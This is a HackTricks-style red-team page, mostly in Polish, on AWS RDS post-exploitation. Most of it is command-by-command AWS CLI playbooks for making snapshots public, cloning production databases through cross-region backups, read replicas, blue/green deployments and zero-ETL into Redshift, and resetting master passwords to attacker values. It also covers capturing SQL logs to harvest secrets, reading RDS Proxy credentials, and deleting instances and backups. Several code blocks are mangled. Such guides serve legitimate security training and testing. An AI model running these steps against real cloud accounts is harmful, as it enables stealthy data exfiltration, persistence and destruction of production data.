AWS - RDS Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
RDS
Aby uzyskać więcej informacji, zobacz:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Jeśli atakujący ma wystarczające uprawnienia, może uczynić DB publicznie dostępną, tworząc snapshot DB, a następnie odtwarzając z niego publicznie dostępną DB.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Atakujący posiadający uprawnienie rds:StopDBCluster lub rds:StopDBInstance może wymusić natychmiastowe zatrzymanie instancji RDS lub całego klastra, powodując niedostępność bazy danych, zerwane połączenia oraz przerwanie procesów zależnych od bazy danych.
Aby zatrzymać pojedynczą DB instance (przykład):
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Aby zatrzymać cały klaster DB (przykład):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Atakujący, któremu przyznano uprawnienia rds:Modify*, może zmieniać krytyczne konfiguracje i zasoby pomocnicze (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.) bez bezpośredniego dotykania instancji lub klastra. Zmiany takie jak dostosowanie parametrów połączenia/czasu oczekiwania, zmiana proxy endpointu, modyfikacja, które certificates są zaufane, zmiana logical capacity lub rekonfiguracja subnet group mogą osłabić bezpieczeństwo (otworzyć nowe ścieżki dostępu), przerwać routing i load-balancing, unieważnić polityki replikacji/kopii zapasowych oraz ogólnie pogorszyć dostępność lub możliwość odzyskania. Te modyfikacje mogą również ułatwić indirect data exfiltration lub utrudnić uporządkowane odzyskanie bazy danych po incydencie.
Przenieś lub zmień subnets przypisane do RDS subnet group:
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Zmień niskopoziomowe parametry silnika w cluster parameter group:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Atakujący posiadający uprawnienia rds:Restore* może przywrócić całe bazy danych ze snapshotów, automatycznych kopii zapasowych, przywracania do określonego punktu w czasie (PITR), lub plików przechowywanych w S3, tworząc nowe instancje lub klastry wypełnione danymi z wybranego punktu. Te operacje nie nadpisują oryginalnych zasobów — tworzą nowe obiekty zawierające dane historyczne — co pozwala atakującemu uzyskać pełne, funkcjonalne kopie bazy danych (z przeszłych punktów w czasie lub z zewnętrznych plików S3) i wykorzystać je do exfiltrate data, manipulowania zapisami historycznymi lub odtwarzania poprzednich stanów.
Przywróć instancję DB do określonego punktu w czasie:
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Atakujący z uprawnieniem rds:Delete* może usuwać zasoby RDS, usuwając DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups i powiązane artefakty, powodując natychmiastową przerwę w działaniu usługi, utratę danych, zniszczenie punktów przywracania oraz utratę dowodów śledczych.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Atakujący z tymi uprawnieniami mógłby utworzyć snapshot DB i uczynić go publicznie dostępnym. Następnie mógłby po prostu utworzyć we własnym koncie DB z tego snapshotu.
Jeśli atakujący nie posiada rds:CreateDBSnapshot, nadal może uczynić inne utworzone snapshots publiczne.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Atakujący posiadający uprawnienie rds:DownloadDBLogFilePortion może pobrać części plików dziennika instancji RDS. Jeśli w logach przypadkowo zostaną zapisane dane wrażliwe lub poświadczenia dostępu, atakujący może potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Potencjalny wpływ: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu leaked credentials.
rds:DeleteDBInstance
Atakujący z tymi uprawnieniami może DoS istniejące instancje RDS.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Potencjalny wpływ: Usunięcie istniejących instancji RDS oraz potencjalna utrata danych.
rds:StartExportTask
Note
TODO: Przetestować
Atakujący posiadający to uprawnienie może wyeksportować snapshot instancji RDS do bucketu S3. Jeśli atakujący ma kontrolę nad docelowym bucketem S3, może potencjalnie uzyskać dostęp do wrażliwych danych zawartych w wyeksportowanym snapshotcie.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Potential impact: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.
Replikacja automatycznych kopii zapasowych między regionami w celu ukrytego przywrócenia (rds:StartDBInstanceAutomatedBackupsReplication)
Wykorzystaj replikację automatycznych kopii zapasowych między regionami, aby cicho zduplikować automatyczne backupy instancji RDS do innego AWS Region i tam je przywrócić. Atakujący może następnie uczynić przywróconą DB publicznie dostępną i zresetować master password, aby uzyskać dostęp do danych out-of-band w Regionie, który obrońcy mogą nie monitorować.
Permissions needed (minimum):
rds:StartDBInstanceAutomatedBackupsReplicationin the destination Regionrds:DescribeDBInstanceAutomatedBackupsin the destination Regionrds:RestoreDBInstanceToPointInTimein the destination Regionrds:ModifyDBInstancein the destination Regionrds:StopDBInstanceAutomatedBackupsReplication(optional cleanup)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(aby udostępnić przywróconą DB)
Wpływ: Persistence i data exfiltration poprzez przywrócenie kopii danych produkcyjnych do innego Regionu i ich publiczne udostępnienie z użyciem poświadczeń kontrolowanych przez atakującego.
End-to-end CLI (zamień placeholdery)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table
Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds-
–query GroupId –output text)
aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately
aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text)
mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Włącz pełne logowanie SQL za pomocą DB parameter groups i eksfiltruj przez RDS log APIs
Nadużyj `rds:ModifyDBParameterGroup` wraz z RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne poświadczenia DB engine). Włącz engine SQL logging i pobierz pliki logów przez `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać secrets/PII/JWTs.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
Kroki
1) Recon target i current parameter group
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Upewnij się, że dołączony jest niestandardowy DB parameter group (nie można edytować domyślnego)
- Jeśli instancja już używa niestandardowej grupy, użyj ponownie jej nazwy w następnym kroku.
- W przeciwnym razie utwórz i dołącz grupę dopasowaną do engine family:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Włącz szczegółowe logowanie SQL
- MySQL engines (natychmiast / bez restartu):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- Silniki PostgreSQL (wymagany restart):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Pozwól obciążeniu działać (lub wygeneruj zapytania). Polecenia zostaną zapisane do plików logów silnika
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Odkryj i pobierz logi (nie są wymagane poświadczenia DB)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Analizuj offline w poszukiwaniu wrażliwych danych
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Przykładowe dowody (ocenzurowane):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Czyszczenie
- Przywróć parametry do wartości domyślnych i, w razie potrzeby, uruchom ponownie:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Wpływ: Dostęp do danych po post-exploitation poprzez przechwytywanie wszystkich zapytań SQL aplikacji za pomocą AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Wykorzystaj RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez używania poświadczeń instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia instancji primary) i opcjonalnie udostępnić replikę publicznie, aby exfiltrate data.
Wymagane uprawnienia (minimum):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(if exposing publicly)
Wpływ: Dostęp tylko do odczytu do danych produkcyjnych przez replikę z poświadczeniami kontrolowanymi przez atakującego; niższe prawdopodobieństwo wykrycia, ponieważ instancja primary pozostaje nietknięta i replikacja trwa.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Przykładowe dowody (MySQL):
- Status repliki DB:
available, replikacja do odczytu:replicating - Pomyślne połączenie z nowym hasłem i
@@read_only=1, potwierdzające dostęp do repliki tylko do odczytu.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej bazy danych do ciągłego, replikowanego środowiska green tylko do odczytu. Następnie zresetuj poświadczenia konta głównego (master) w green, aby uzyskać dostęp do danych bez modyfikowania instancji blue (prod). Jest to bardziej dyskretne niż snapshot sharing i często omija monitorowanie skupione wyłącznie na źródle.
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Wpływ: dostęp tylko do odczytu, ale pełny dostęp do danych z niemal rzeczywistej kopii produkcji bez modyfikowania instancji produkcyjnej. Przydatne do ukradkowego wydobywania danych i analizy offline.
SQL poza kanałem (out-of-band) przez RDS Data API poprzez włączenie HTTP endpoint + zresetowanie hasła master
Wykorzystaj Aurora, aby włączyć HTTP endpoint RDS Data API na docelowym klastrze, zresetować hasło master do wartości, którą kontrolujesz, i wykonywać SQL przez HTTPS (nie wymaga ścieżki sieciowej VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
Uprawnienia (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Wpływ: obejście segmentacji sieciowej i eksfiltracja danych za pomocą AWS APIs bez bezpośredniej łączności VPC z DB.
End-to-end CLI (przykład Aurora MySQL)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID=2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”
or
aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text)
[[ “$P” == “None” || “$P” == “null” ]] && break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);”
aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON
</details>
Uwagi:
- Jeśli zapytanie SQL zawierające wiele instrukcji (multi-statement) jest odrzucane przez rds-data, wykonaj oddzielne wywołania execute-statement.
- Dla silników, gdzie modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
- Upewnij się, że engine/version faktycznie obsługuje Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
### Pozyskaj poświadczenia DB przez sekrety uwierzytelniające RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Wykorzystaj konfigurację RDS Proxy, aby odnaleźć secret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj ten secret, żeby uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane są szerokie uprawnienia `secretsmanager:GetSecretValue`, co czyni to niskokosztowym punktem przejścia do DB creds. Jeśli secret używa CMK, źle ograniczone uprawnienia KMS mogą także pozwolić na `kms:Decrypt`.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalszy ruch boczny.
Kroki
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Laboratorium (minimalne do odtworzenia)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Czyszczenie (lab)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Ukryte ciągłe exfiltration przez Aurora zero‑ETL do Amazon Redshift (rds:CreateIntegration)
Wykorzystaj integrację Aurora PostgreSQL zero‑ETL do ciągłej replikacji danych produkcyjnych do kontrolowanej przez Ciebie przestrzeni nazw Redshift Serverless. Przy luźnej Redshift resource policy, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego Aurora cluster ARN, atakujący może ustanowić niemal w czasie rzeczywistym kopię danych bez DB creds, snapshotów ani ekspozycji sieciowej.
Wymagane uprawnienia (minimum):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(do zapytań)rds-data:ExecuteStatement(opcjonalnie; do zasiania danych jeśli potrzebne)
Testowano w: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Utwórz Redshift Serverless namespace + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Skonfiguruj politykę zasobów Redshift, aby zezwolić źródłu Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN=3) Utwórz klaster Aurora PostgreSQL (włącz Data API i replikację logiczną)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Utwórz integrację zero‑ETL z RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Materializuj i wykonuj zapytania do replikowanych danych w Redshift
